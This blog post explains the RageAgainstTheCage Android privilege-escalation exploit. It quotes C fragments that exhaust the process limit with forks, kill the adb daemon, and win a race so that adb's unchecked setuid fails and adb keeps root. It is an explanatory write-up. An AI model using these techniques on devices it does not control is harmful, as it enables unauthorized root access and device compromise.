RageAgainstTheCage

This post gives a detailed explanation of the RageAgainstTheCage (RATC) exploit
Also commonly known as the “adb setuid exhaustion attack
[sourcecode language="cpp"]getrlimit(RLIMIT_NPROC, &rl)[/sourcecode]
If a process tries to perform a fork and the user that owns that process already owns RLIMIT_NPROC processes, then the fork fails.

[sourcecode language="cpp"]adb_pid = find_adb();[/sourcecode]
This function merely finds the adbdaemon’s pid

Now RATC spawns RLIMIT_NPROC number of stub processes
[sourcecode language="cpp"]
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}[/sourcecode]
Now RATC kills the adb daemon using the pid it had collected earlier
[sourcecode language="cpp"]kill(adb_pid, 9);[/sourcecode]

Note that there are RLIMIT_NPROC - 1 processes currently active in the system under the ownership of RATC

As the user, you have to restart adb from your desktop terminal now.
When adb is restarted, it has multiple tasks to accomplish for which it has to run as the root user. The details of which are not crystal clear to me at the moment.

Once these tasks are accomplished, it lowers its privileges to AID_SHELL by running

[sourcecode language="cpp"] setgid(AID_SHELL);
setuid(AID_SHELL);
[/sourcecode]

RATC spawns another process at the same time
[sourcecode language="cpp"] if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
}
[/sourcecode]

This is a race condition between RATC and the adb-server, as to which of the two would get to spawn that last process and hit the NPROC_RLIMIT limit, thereby preventing the other from successfully executing.
In case RATC wins the race and successfully spawns a stub process, NPROC_RLIMIT would be reached and adb’s attempt to setuid(AID_SHELL) would fail and it will continue to run as root.
The flaw here is that, the return condition of the setuid() is not checked. All the user needs to do now is to spawn a shell from adb and the parent’s privileges would be transferred to the shell which would run as root.

In case, adb wins the race and is able to setuid() successfully, then the fork() in RATC fails and so does the user’s attempt to gain root access. All the user can do is to redo this entire method yet again.

This is by far, the most easily-understood exploit I have seen till now.
All credits to Sebastian Krahmer, The Intrepidus Group and !g
You can check the adb.c source here
Sebastian has published his code under GPL
The complete RageAgainstTheCage code

Tagged with: , , , , ,
Posted in Uncategorized

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>